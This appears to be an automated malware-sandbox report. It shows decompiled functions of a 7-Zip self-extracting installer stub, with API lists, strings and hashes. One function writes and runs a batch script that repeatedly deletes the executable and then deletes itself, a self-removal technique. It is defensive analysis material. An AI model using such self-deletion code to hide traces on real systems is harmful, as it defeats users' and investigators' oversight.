Opcode Fuzzy Hash: 8de517175050c73336740f3d7500399dbb2a96b63e29ba91ff7f4985e0ad06e9
Instruction Fuzzy Hash: 03619972540108BFCF15AF61DC85DEE3BB9AF04308B10813AF926A21B1DB389D51CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 00405AA6, Relevance: 38.6, APIs: 14, Strings: 8, Instructions: 145
fileCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00405AA6(void* __esi, WCHAR* _a4) {
				long _v8;
				short _v10;
				short _v12;
				short _v14;
				short _v16;
				long _v24;
				char _v28;
				WCHAR* _v40;
				char _v52;
				void* _t42;
				short _t44;
				short _t45;
				int _t66;
				void* _t72;
				signed int _t74;
				void* _t99;

				_t99 = __esi;
				_t42 = _a4;
				if( *((short*)(_t42 + 2)) != 0x3a) {
					L11:
					_push(_t42);
					goto L12;
				} else {
					_t3 = _t42 + 4; // 0x1519c
					_t74 =  *_t3 & 0x0000ffff;
					if(_t74 == 0x5c || _t74 == 0x2f) {
						_v16 =  *_t42;
						_t44 = 0x3a;
						_v14 = _t44;
						_t45 = 0x5c;
						_v12 = _t45;
						_v10 = 0;
						_t42 = GetDriveTypeW( &_v16);
						if(_t42 == 3) {
							E004042B5(L"7ZSfx%03x.cmd", __eflags);
							_t42 = CreateFileW(_v40, 0x40000000, 0, 0, 2, 0x80, 0);
							_t72 = _t42;
							__eflags = _t72 - 0xffffffff;
							if(_t72 == 0xffffffff) {
								L9:
								_push(_v40);
								L0041C160();
								_push(_a4);
								L0041C160();
								goto L13;
							} else {
								_push(_t99);
								E004147DF(_t42,  &_v28);
								E00414864( &_v28, L":Repeat\r\n");
								E00414922( &_v28, L"del \"");
								E00414962( &_v28, __eflags,  &_a4);
								E00414922( &_v28, L"\"\r\n");
								E00414922( &_v28, L"if exist \"");
								E00414962( &_v28, __eflags,  &_a4);
								E00414922( &_v28, L"\" goto Repeat\r\n");
								E00414922( &_v28, L"del \"");
								E00414962( &_v28, __eflags,  &_v40);
								E00414922( &_v28, L"\"\r\n");
								_t66 = WriteFile(_t72,  *(E0040438B( &_v52,  &_v28, __eflags, 1)), _v24,  &_v8, 0);
								_push(_v52);
								L0041C160();
								CloseHandle(_t72);
								__eflags = _t66;
								if(_t66 == 0) {
									L10:
									_t42 = E00403442(_v40);
									_push(_v28);
									L0041C160();
									_push(_v40);
									L0041C160();
									_push(_a4);
									L0041C160();
								} else {
									__eflags = _v8 - _v24;
									if(_v8 != _v24) {
										goto L10;
									} else {
										SetFileAttributesW(_a4, 0);
										_t42 = ShellExecuteW(0, L"open", _v40, 0, 0, 0);
										_push(_v28);
										L0041C160();
										goto L9;
									}
								}
							}
						} else {
							_push(_a4);
							L12:
							L0041C160();
							L13:
						}
					} else {
						goto L11;
					}
				}
				return _t42;
			}

APIs

GetDriveTypeW.KERNEL32(?,PreExtract,00000000,?,?,?,?,?,?,?,?,?,?,00406FBC,00422844,PreExtract), ref: 00405AED

Part of subcall function 004042B5: GetTempPathW.KERNEL32(00000001,00000000,00000002,PreExtract,0041DA3C,?,00000000,?,00405B0D), ref: 004042D7
Part of subcall function 004042B5: GetTempPathW.KERNEL32(00000001,00000000,00000001,?,00000000,?,00405B0D), ref: 004042F6
Part of subcall function 004042B5: wsprintfW.USER32 ref: 00404318
Part of subcall function 004042B5: GetFileAttributesW.KERNELBASE(?,?,?,00405B0D,?,?,?,?,?,?,?,?,?,?,00406FBC,00422844), ref: 0040432A

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00405B21
WriteFile.KERNEL32(00000000,?,?,00422844,00000000,00000001,",?,del "," goto Repeat,00406FBC,if exist ",",00406FBC,del ",:Repeat), ref: 00405BD0
??3@YAXPAX@Z.MSVCRT ref: 00405BDB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00406FBC,00422844,PreExtract,0042289C,00000000), ref: 00405BE2
SetFileAttributesW.KERNEL32(00406FBC,00000000,?,?,?,?,?,?,?,?,?,00406FBC,00422844,PreExtract,0042289C,00000000), ref: 00405BF9
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00405C0B
??3@YAXPAX@Z.MSVCRT ref: 00405C14
??3@YAXPAX@Z.MSVCRT ref: 00405C1D
??3@YAXPAX@Z.MSVCRT ref: 00405C25

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

Part of subcall function 00414864: ??2@YAPAXI@Z.MSVCRT ref: 00414896
Part of subcall function 00414864: ??3@YAXPAX@Z.MSVCRT ref: 0041489F
Part of subcall function 00414864: memcpy.MSVCRT ref: 004148B7

Part of subcall function 00414922: memcpy.MSVCRT ref: 0041494F

Part of subcall function 00414962: memcpy.MSVCRT ref: 00414985

Part of subcall function 0040438B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,00000000,00422090,00566790,00401669,0000FDE9,00566790), ref: 004043BE

??3@YAXPAX@Z.MSVCRT ref: 00405C38
??3@YAXPAX@Z.MSVCRT ref: 00405C40
??3@YAXPAX@Z.MSVCRT ref: 00405C48
??3@YAXPAX@Z.MSVCRT ref: 00405C53

Strings

7ZSfx%03x.cmd, xrefs: 00405B00
if exist ", xrefs: 00405B70
:Repeat, xrefs: 00405B3B
PreExtract, xrefs: 00405AB5
", xrefs: 00405B62, 00405B67, 00405BAB
open, xrefs: 00405C05
del ", xrefs: 00405B48, 00405B4D, 00405B96
" goto Repeat, xrefs: 00405B89

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$File$memcpy$??2@AttributesPathTemp$ByteCharCloseCreateDriveExecuteHandleMultiShellTypeWideWritewsprintf
String ID: "$" goto Repeat$7ZSfx%03x.cmd$:Repeat$PreExtract$del "$if exist "$open
API String ID: 1368565367-2062918900
Opcode ID: 232e350dee0cb52598af980228999ff10728722e1d185b52cc315b7c7eca06e3
Instruction ID: 3d7160049abe49b234d8e21697658e41e6c45daee110ef6cf63ccbde248cf787
Opcode Fuzzy Hash: 232e350dee0cb52598af980228999ff10728722e1d185b52cc315b7c7eca06e3
Instruction Fuzzy Hash: B8416075940108BADB05EBA1DC86DEF7B78EF85704F10406AF602B60E1DB786E85CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 00404BA4, Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 115
windowlibrarystringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00404BA4(struct HWND__* __ecx) {
				struct HWND__* _v8;
				intOrPtr _v12;
				void* _v16;
				char _v28;
				long _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				int _v52;
				int _v56;
				char _v120;
				signed char _t30;
				struct HWND__* _t33;
				struct HMENU__* _t36;
				struct HWND__* _t53;
				struct HWND__* _t67;

				_t67 = __ecx;
				if(GetClassNameA(__ecx,  &_v120, 0x40) == 0 || lstrcmpiA( &_v120, "STATIC") != 0) {
					L5:
					return 0;
				} else {
					_t30 = GetWindowLongW(_t67, 0xfffffff0);
					_t71 = _t30 & 0x0000000e;
					if((_t30 & 0x0000000e) != 0) {
						goto L5;
					}
					E00404AF5( &_v28, _t67, _t71);
					if(E00403786(_v28, L"{\\rtf", 5) == 0) {
						_t33 = GetParent(_t67);
						_v8 = _t33;
						__eflags = _t33;
						if(_t33 == 0) {
							goto L4;
						}
						LoadLibraryA("riched20");
						E004038D4(_t67,  &_v56);
						_t36 = GetMenu(_t67);
						SetThreadLocale(0x419);
						_t53 = CreateWindowExW(0, L"RichEdit20W", 0x41da3c, 0x50000804, _v56, _v52, _v48 - _v56, _v44 - _v52, _v8, _t36, 0, 0);
						__eflags = _t53;
						if(__eflags == 0) {
							goto L4;
						}
						DestroyWindow(_t67);
						SendMessageW(_t53, 0x459, 0x22, 0);
						SendMessageW(_t53, 0x443, 0, GetSysColor(0xf));
						_v12 = 0xfde9;
						_v16 = 0;
						E0040438B( &_v40,  &_v28, __eflags, 0xfde9);
						SendMessageW(_t53, 0x461,  &_v16, _v40);
						_push(_v40);
						L0041C160();
						_push(_v28);
						L0041C160();
						return _t53;
					}
					L4:
					_push(_v28);
					L0041C160();
					goto L5;
				}
			}

APIs

GetClassNameA.USER32(?,?,00000040), ref: 00404BB6
lstrcmpiA.KERNEL32(?,STATIC,?,?,00000040), ref: 00404BC9
GetWindowLongW.USER32(?,000000F0), ref: 00404BD6

Part of subcall function 00404AF5: GetWindowTextLengthW.USER32(?), ref: 00404B02
Part of subcall function 00404AF5: GetWindowTextW.USER32 ref: 00404B1C

??3@YAXPAX@Z.MSVCRT ref: 00404C00
GetParent.USER32 ref: 00404C0E
LoadLibraryA.KERNEL32(riched20,?,00000005,?,000000F0,?,?,00000040), ref: 00404C22
GetMenu.USER32 ref: 00404C33
SetThreadLocale.KERNEL32(00000419,?,?,00000005,?,000000F0,?,?,00000040), ref: 00404C40
CreateWindowExW.USER32 ref: 00404C70
DestroyWindow.USER32(?,?,?,00000005,?,000000F0,?,?,00000040), ref: 00404C7D
SendMessageW.USER32(00000000,00000459,00000022,00000000), ref: 00404C92
GetSysColor.USER32(0000000F), ref: 00404C96
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00404CA4
SendMessageW.USER32(00000000,00000461,?,?), ref: 00404CCA
??3@YAXPAX@Z.MSVCRT ref: 00404CCF
??3@YAXPAX@Z.MSVCRT ref: 00404CD7

Strings

{\rtf, xrefs: 00404BEF
RichEdit20W, xrefs: 00404C6A
riched20, xrefs: 00404C1D
STATIC, xrefs: 00404BC0

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$??3@MessageSend$Text$ClassColorCreateDestroyLengthLibraryLoadLocaleLongMenuNameParentThreadlstrcmpi
String ID: RichEdit20W$STATIC$riched20${\rtf
API String ID: 3514532227-2281146334
Opcode ID: 8a4bf377b52e9b664479eb2b7b1a16ad8fb9dd63c4c5e663889616ad64bdffec
Instruction ID: 653fa6765fec41a2c767cdcafb0f0c5f7003fb3de14a91a34d01aabbe2365a95
Opcode Fuzzy Hash: 8a4bf377b52e9b664479eb2b7b1a16ad8fb9dd63c4c5e663889616ad64bdffec
Instruction Fuzzy Hash: BF3183F1E40119BBDB10ABA5DD49EEFBB7DEF44704F10807AF601B2191DA789A418B6C

Uniqueness

Uniqueness Score: -1.00%

Function 004039F1, Relevance: 31.6, APIs: 21, Instructions: 119
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E004039F1(void* __ecx) {
				struct HDC__* _v8;
				struct HDC__* _v12;
				void* _v16;
				int _v20;
				void* _v24;
				void* _v28;
				int _v44;
				int _v48;
				void _v52;
				struct HDC__* _t37;
				int _t38;
				int _t39;
				int _t62;
				struct HDC__* _t63;

				_v16 = __ecx;
				_t37 = GetWindowDC(0);
				_v8 = _t37;
				_t38 = GetDeviceCaps(_t37, 0x58);
				if(_t38 < 1) {
					_t38 = 0x60;
				}
				_t39 = MulDiv(_t38, 0x64, 0x60);
				if(_t39 < 0x76) {
					if(_t39 <= 0x91) {
						ReleaseDC(0, _v8);
						return CopyImage(_v16, 0, 0, 0, 0);
					}
					goto L6;
				} else {
					if(_t39 > 0x91) {
						L6:
						_push(3);
						_v12 = 2;
						L7:
						_pop(_t62);
						GetObjectW(_v16, 0x18,  &_v52);
						_v24 = MulDiv(_v48, _t62, _v12);
						_v20 = MulDiv(_v44, _t62, _v12);
						_v12 = CreateCompatibleDC(_v8);
						_t63 = CreateCompatibleDC(_v8);
						_v16 = SelectObject(_v12, _v16);
						_v28 = SelectObject(_t63, CreateCompatibleBitmap(_v8, _v24, _v20));
						SetStretchBltMode(_t63, 4);
						StretchBlt(_t63, 0, 0, _v24, _v20, _v12, 0, 0, _v48, _v44, 0xcc0020);
						_v24 = GetCurrentObject(_t63, 7);
						SelectObject(_v12, _v16);
						SelectObject(_t63, _v28);
						DeleteDC(_v12);
						DeleteDC(_t63);
						ReleaseDC(0, _v8);
						return _v24;
					}
					_push(4);
					_v12 = 3;
					goto L7;
				}
			}

APIs

GetWindowDC.USER32(00000000), ref: 00403A00
GetDeviceCaps.GDI32(00000000,00000058), ref: 00403A0C
MulDiv.KERNEL32(00000000,00000064,00000060), ref: 00403A25
GetObjectW.GDI32(?,00000018,?), ref: 00403A5C
MulDiv.KERNEL32(?,00000003,00000002), ref: 00403A69
MulDiv.KERNEL32(?,00000003,00000002), ref: 00403A75
CreateCompatibleDC.GDI32(?), ref: 00403A83
CreateCompatibleDC.GDI32(?), ref: 00403A8B
SelectObject.GDI32(00000002,?), ref: 00403A9B
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00403AA9
SelectObject.GDI32(00000000,00000000), ref: 00403AB1
SetStretchBltMode.GDI32(00000000,00000004), ref: 00403AB9
StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000002,00000000,00000000,?,?,00CC0020), ref: 00403AD8
GetCurrentObject.GDI32(00000000,00000007), ref: 00403AE1
SelectObject.GDI32(00000002,?), ref: 00403AF0
SelectObject.GDI32(00000000,?), ref: 00403AF6
DeleteDC.GDI32(00000002), ref: 00403B01
DeleteDC.GDI32(00000000), ref: 00403B04
ReleaseDC.USER32 ref: 00403B0A
ReleaseDC.USER32 ref: 00403B19
CopyImage.USER32(?,00000000,00000000,00000000,00000000), ref: 00403B26

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Object$Select$CompatibleCreate$DeleteReleaseStretch$BitmapCapsCopyCurrentDeviceImageModeWindow
String ID:
API String ID: 3462224810-0
Opcode ID: 612ab1c299c70adb56458b05f96c4172f6b033e0d16868d111d26e83d45414ef
Instruction ID: 64add8f3f0553c82617c9ad687e152a2c61f87497f12b8b4a2d195a12937468c
Opcode Fuzzy Hash: 612ab1c299c70adb56458b05f96c4172f6b033e0d16868d111d26e83d45414ef
Instruction Fuzzy Hash: 3941E0B6D00218BFDF119FE1DC48EAEBF79EB08765F108066F601B21A0C7758A51AF64

Uniqueness

Uniqueness Score: -1.00%

Function 0040502A, Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 256
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040502A(intOrPtr* __ecx, intOrPtr __edx, void* __eflags) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v28;
				signed int _v36;
				char _v40;
				char _v52;
				char _v64;
				char _v76;
				char _v88;
				wchar_t* _v100;
				void* __edi;
				void* _t76;
				void* _t86;
				WCHAR* _t88;
				intOrPtr _t89;
				WCHAR* _t90;
				intOrPtr _t92;
				WCHAR* _t96;
				WCHAR* _t99;
				intOrPtr _t100;
				WCHAR* _t104;
				WCHAR* _t105;
				WCHAR* _t110;
				WCHAR* _t111;
				char _t113;
				intOrPtr _t115;
				signed int _t117;
				WCHAR* _t122;
				char _t133;
				signed int _t140;
				char _t142;
				WCHAR* _t154;
				signed int _t162;
				intOrPtr* _t165;
				void* _t167;
				signed int _t168;
				WCHAR* _t169;
				WCHAR** _t170;
				WCHAR* _t171;
				void* _t173;

				_v8 = _v8 & 0x00000000;
				_t165 = __ecx;
				_v12 = __edx;
				E004143C2(_t76,  &_v40);
				L49:
				while(E00403251( &_v8, _t165) != 0) {
					while(1) {
						_v20 = _t133;
						__eflags = E0040322D(_t133);
						if(__eflags != 0) {
							break;
						}
						__eflags = _t133 - 0x3d;
						if(__eflags == 0) {
							break;
						}
						E00402F9F( &_v52, _v20);
						_t122 =  &(_t122[0]);
						__eflags = _t122;
						_t133 =  *((intOrPtr*)(_t167 + _t122));
					}
					E004148C7( &_v100, E00404346( &_v64,  &_v52, __eflags, 0xfde9));
					_push(_v64);
					L0041C160();
					_push(_v52);
					L0041C160();
					__eflags = _t122;
					if(_t122 == 0) {
						_t162 = _v8;
						L53:
						_t86 = E004044E1(_t165, _t162, _v12);
						_push(_v88);
						L0041C160();
						_push(_v100);
						L0041C160();
						_push(_v40);
						L0041C160();
						return _t86;
					}
					_v8 = _t122 + _v8;
					_t163 = _t165;
					_t88 = E00403251( &_v8, _t165);
					__eflags = _t88;
					if(_t88 == 0) {
						L52:
						_t162 = _v16;
						goto L53;
					}
					_t89 =  *_t165;
					_t140 = _v8;
					__eflags =  *((char*)(_t140 + _t89)) - 0x3d;
					if( *((char*)(_t140 + _t89)) != 0x3d) {
						goto L52;
					}
					_v8 = _v8 + 1;
					_t90 = E00403251( &_v8, _t163);
					__eflags = _t90;
					if(_t90 == 0) {
						goto L52;
					}
					_t168 = _v8;
					_t92 =  *((intOrPtr*)(_t168 +  *_t165));
					__eflags = _t92 - 0x22;
					if(_t92 == 0x22) {
						_t169 = _t168 + 1;
						_v36 = _v36 & 0x00000000;
						_v8 = _t169;
						 *_v40 = 0;
						while(1) {
							L29:
							_t96 = strncmp( *_t165 + _t169, "{\\rtf", 5);
							_t173 = _t173 + 0xc;
							__eflags = _t96;
							if(_t96 != 0) {
								goto L28;
							} else {
								break;
							}
							while(1) {
								L28:
								_t99 = strncmp( *_t165 + _t169, "{\\rtf", 5);
								_t173 = _t173 + 0xc;
								__eflags = _t99;
								if(_t99 == 0) {
									goto L29;
								}
								__eflags = _t169 -  *((intOrPtr*)(_t165 + 4));
								if(_t169 >=  *((intOrPtr*)(_t165 + 4))) {
									goto L52;
								}
								_t100 =  *_t165;
								_t142 =  *((intOrPtr*)(_t100 + _t169));
								_t169 =  &(_t169[0]);
								_v28 = _t142;
								_v8 = _t169;
								__eflags = _t142 - 0x22;
								if(__eflags == 0) {
									L39:
									_t164 =  &_v40;
									E004148C7( &_v88, E00404346( &_v76,  &_v40, __eflags, 0xfde9));
									_push(_v76);
									L0041C160();
									E0040457E( &_v88, _t165, __eflags);
									_t104 = lstrcmpW(_v100, L"SetEnvironment");
									__eflags = _t104;
									if(_t104 != 0) {
										L41:
										__eflags =  *0x422120;
										_t170 = 0x422120;
										if( *0x422120 == 0) {
											L45:
											_t164 = 0;
											_t105 = E00404F11(_v100, 0);
											__eflags = _t105;
											if(_t105 == 0) {
												L47:
												E0040287B( &_v100, 0x4227a0, _t164,  &_v100);
												L48:
												_push(_v88);
												L0041C160();
												_push(_v100);
												L0041C160();
												goto L49;
											}
											_t64 =  &(_t105[6]); // 0xc
											E00414864(_t64, _v88);
											goto L48;
										} else {
											goto L42;
										}
										while(1) {
											L42:
											_t110 = wcsncmp(_v100,  *_t170, lstrlenW( *_t170));
											_t173 = _t173 + 0xc;
											__eflags = _t110;
											if(_t110 == 0) {
												break;
											}
											_t170 =  &(_t170[1]);
											__eflags =  *_t170;
											if( *_t170 != 0) {
												continue;
											}
											break;
										}
										__eflags =  *_t170;
										if( *_t170 != 0) {
											goto L47;
										}
										goto L45;
									}
									_t164 = 0x3d;
									_t111 = E0041420C(_v88,  &_v40);
									__eflags = _t111;
									if(_t111 <= 0) {
										goto L52;
									}
									goto L41;
								}
								__eflags = _t142 - 0x5c;
								if(_t142 != 0x5c) {
									_push(_v28);
									L26:
									_t153 =  &_v40;
									L27:
									E00402F9F(_t153);
									continue;
								}
								_t113 =  *((intOrPtr*)(_t100 + _t169));
								_t169 =  &(_t169[0]);
								_v24 = _t113;
								_v8 = _t169;
								__eflags = _t113 - 0x22;
								if(_t113 == 0x22) {
									_push(0x22);
									goto L26;
								}
								__eflags = _t113 - _t142;
								if(_t113 == _t142) {
									_push(0x5c);
									goto L26;
								}
								__eflags = _t113 - 0x6e;
								if(_t113 == 0x6e) {
									_push(0xa);
									goto L26;
								}
								_t153 =  &_v40;
								__eflags = _t113 - 0x74;
								if(_t113 == 0x74) {
									_push(9);
									goto L27;
								}
								E00402F9F( &_v40, 0x5c);
								_push(_v24);
								goto L26;
							}
						}
						while(1) {
							_t115 =  *_t165;
							_t154 =  *(_t115 + _t169);
							__eflags = _t154;
							if(_t154 == 0) {
								break;
							}
							__eflags = _t154 - 0x22;
							if(_t154 == 0x22) {
								break;
							}
							__eflags = _t154 - 0x5c;
							if(_t154 == 0x5c) {
								__eflags =  *((char*)(_t115 +  &(_t169[0]))) - 0x22;
								if( *((char*)(_t115 +  &(_t169[0]))) == 0x22) {
									_t169 =  &(_t169[0]);
									__eflags = _t169;
								}
							}
							_t117 =  *(_t115 + _t169) & 0x000000ff;
							_t169 =  &(_t169[0]);
							__eflags = _t169;
							_v8 = _t169;
							E00402F9F( &_v40, _t117);
						}
						__eflags =  *((char*)(_t169 +  *_t165));
						if(__eflags != 0) {
							_t171 =  &(_t169[0]);
							__eflags = _t171;
							_v8 = _t171;
						}
						goto L39;
					}
					__eflags = _t92 - 0x2d;
					if(_t92 != 0x2d) {
						goto L52;
					}
					E00404FEE(_v100);
					_v8 = _t168 + 1;
					goto L48;
				}
				_push(_v40);
				L0041C160();
				return 1;
			}

APIs

Part of subcall function 004143C2: ??2@YAPAXI@Z.MSVCRT ref: 004143CA

??3@YAXPAX@Z.MSVCRT ref: 004050AF
??3@YAXPAX@Z.MSVCRT ref: 004050B7
??3@YAXPAX@Z.MSVCRT ref: 004052B5
??3@YAXPAX@Z.MSVCRT ref: 004052BD
??3@YAXPAX@Z.MSVCRT ref: 004052D9
??3@YAXPAX@Z.MSVCRT ref: 004052FA
??3@YAXPAX@Z.MSVCRT ref: 00405302
??3@YAXPAX@Z.MSVCRT ref: 0040530A

Strings

!B, xrefs: 00405259
{\rtf, xrefs: 004051A5, 004051BA
SetEnvironment, xrefs: 0040522D

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@
String ID: !B$SetEnvironment${\rtf
API String ID: 4113381792-3096309559
Opcode ID: 386ff0d9aa907bb68592818cdcbfebbaa15c4e14b06951a4543c434aa5179d25
Instruction ID: b708b963da35919fffc77302d43656a91cdc81ec60feee5546b613eda411056e
Opcode Fuzzy Hash: 386ff0d9aa907bb68592818cdcbfebbaa15c4e14b06951a4543c434aa5179d25
Instruction Fuzzy Hash: 69917C34900619ABCF15EB91C991BEFB7B1EF55308F2000ABE4427B2D2DA785E45DF49

Uniqueness

Uniqueness Score: -1.00%

Function 00409332, Relevance: 28.6, APIs: 19, Instructions: 149
windowcomtimeCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00409332(void* __edx, void* __eflags) {
				int _v4;
				char _v8;
				void* __ecx;
				intOrPtr _t30;
				intOrPtr* _t33;
				signed int _t44;
				struct HMENU__* _t49;
				signed int _t53;
				intOrPtr _t62;
				void* _t71;
				intOrPtr _t74;
				signed int _t83;

				_t71 = __edx;
				_t74 = _t62;
				 *0x4228c4 =  *(_t74 + 4);
				 *0x4228c8 = _t74;
				E004079B7(_t62, 0x4b8, 1);
				SendMessageW(GetDlgItem( *(_t74 + 4), 0x4b8), 0x401, 0, 0x75300000);
				_t30 =  *0x422750; // 0x0
				if(_t30 != 0) {
					E00407DB7(_t74, _t71, 0x4b4, _t30);
					E0040790B(GetDlgItem( *(_t74 + 4), 0x4b4),  *0x422750);
				}
				if(( *0x42245c & 0x00000004) != 0) {
					E004079B7(_t74, 0x4b5, 1);
					_t53 = GetWindowLongW(GetDlgItem( *(_t74 + 4), 0x4b5), 0xfffffff0);
					SetWindowLongW(GetDlgItem( *(_t74 + 4), 0x4b5), 0xfffffff0, _t53 | 0x00000001);
					E00408183(_t74);
				}
				if( *0x422770 == 1) {
					E004079B7(_t74, 0x4b4, 0);
					_t49 = GetSystemMenu( *(_t74 + 4), 0);
					if(_t49 != 0) {
						EnableMenuItem(_t49, 0xf060, 1);
					}
				}
				SetFocus(GetDlgItem( *(_t74 + 4), 0x4b4));
				_t83 =  *0x4228d4; // 0x0
				if(_t83 != 0) {
					 *((intOrPtr*)(_t74 + 0x68)) = 0;
					 *((intOrPtr*)(_t74 + 0x6c)) = 0;
					 *((intOrPtr*)(_t74 + 0x60)) = 0x64;
					 *((intOrPtr*)(_t74 + 0x64)) = 0;
					_t44 =  *0x4228d4; // 0x0
					SetTimer( *(_t74 + 4), 1, _t44 * 0xa, 0);
				}
				_t33 = _t74 + 0x70;
				 *_t33 = 0;
				if(( *0x42245c & 0x00002000) == 0) {
					__imp__CoCreateInstance(0x41fa54, 0, 1, 0x41efe4, _t33);
					if(_t33 == 0) {
						E0040816A(_t74, 1);
					}
				}
				if( *0x422770 == 1 && IsWindow(GetDlgItem( *(_t74 + 4), 2)) != 0) {
					EnableWindow(GetDlgItem( *(_t74 + 4), 2), 0);
				}
				_t89 =  *0x42245c & 0x00000004;
				if(( *0x42245c & 0x00000004) == 0) {
					ShowWindow(GetDlgItem( *(_t74 + 4), 0x4b5), 0);
				}
				_v8 = 0;
				_v4 = 0;
				E0040885E(_t74, _t71, _t89,  &_v8);
				return E00408E57(_t71);
			}

APIs

Part of subcall function 004079B7: GetDlgItem.USER32 ref: 004079C4
Part of subcall function 004079B7: ShowWindow.USER32(00000000,?), ref: 004079DB

GetDlgItem.USER32 ref: 0040935F
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040936E
GetDlgItem.USER32 ref: 00409395

Part of subcall function 0040790B: SetWindowTextW.USER32(00000000,00000000), ref: 00407913

Part of subcall function 0040885E: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00408896
Part of subcall function 0040885E: GetDlgItem.USER32 ref: 004088BA
Part of subcall function 0040885E: SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 004088C7
Part of subcall function 0040885E: wsprintfW.USER32 ref: 004088E7
Part of subcall function 0040885E: GetDlgItem.USER32 ref: 00408905
Part of subcall function 0040885E: ??3@YAXPAX@Z.MSVCRT ref: 00408993

Part of subcall function 00408E57: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409247), ref: 00408E81
Part of subcall function 00408E57: LoadIconW.USER32(00000000), ref: 00408E84
Part of subcall function 00408E57: GetSystemMetrics.USER32 ref: 00408E98
Part of subcall function 00408E57: GetSystemMetrics.USER32 ref: 00408E9D
Part of subcall function 00408E57: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409247), ref: 00408EA6
Part of subcall function 00408E57: LoadImageW.USER32 ref: 00408EA9
Part of subcall function 00408E57: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EC9
Part of subcall function 00408E57: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408ED2
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408EEF
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408EF9
Part of subcall function 00408E57: GetWindowLongW.USER32(?,000000F0), ref: 00408F05
Part of subcall function 00408E57: SetWindowLongW.USER32 ref: 00408F14
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408F22
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408F30
Part of subcall function 00408E57: GetWindowLongW.USER32(000000F0,000000F0), ref: 00408F3C
Part of subcall function 00408E57: SetWindowLongW.USER32 ref: 00408F4B
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408F58

GetDlgItem.USER32 ref: 004093BB
GetWindowLongW.USER32(00000000,000000F0), ref: 004093C0
GetDlgItem.USER32 ref: 004093D0
SetWindowLongW.USER32 ref: 004093D3
GetSystemMenu.USER32(?,00000000,000004B4,00000000), ref: 004093F9
EnableMenuItem.USER32 ref: 0040940B
GetDlgItem.USER32 ref: 00409415
SetFocus.USER32(00000000), ref: 00409418
SetTimer.USER32(?,00000001,00000000,00000000), ref: 00409447
CoCreateInstance.OLE32(0041FA54,00000000,00000001,0041EFE4,?), ref: 0040946C
GetDlgItem.USER32 ref: 0040948D
IsWindow.USER32(00000000), ref: 00409490
GetDlgItem.USER32 ref: 004094A0
EnableWindow.USER32(00000000), ref: 004094A3
GetDlgItem.USER32 ref: 004094B7
ShowWindow.USER32(00000000), ref: 004094BA

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

